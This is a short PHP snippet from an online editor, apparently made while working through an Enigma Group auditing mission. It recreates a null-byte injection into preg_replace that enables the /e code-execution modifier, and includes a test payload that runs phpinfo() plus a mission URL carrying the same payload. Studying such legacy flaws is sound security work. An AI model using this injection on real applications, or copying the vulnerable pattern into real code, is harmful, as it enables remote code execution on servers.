Online PHP editor | output for jXIOu

<?php //$search = htmlentities($_GET['search']); $search=htmlentities("phpinfo();#|apple/xe\x00"); echo $search; if (strpos($search, 'apple') !== false){ echo preg_replace("/".$search."/", $search." <img src='".$search.".png'>", "apple"); }elseif (strpos($search, 'orange') !== false){ echo preg_replace("/".$search."/", $search." <img src='".$search.".png'>", "orange"); }elseif (strpos($search, 'banana') !== false){ echo preg_replace("/".$search."/", $search." <img src='".$search.".png'>", "banana"); }elseif (strpos($search, 'kiwi') !== false){ echo preg_replace("/".$search."/", $search." <img src='".$search.".png'>", "kiwi"); }else echo "Please search for apple, orange, banana, or kiwi."; http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2011-July/007960.html http://ha.xxor.se/2011/06/null-byte-injection-in-pregreplace.html http://www.enigmagroup.org/missions/basics/auditing/12/index.php?search=phpinfo();%23|apple/e%00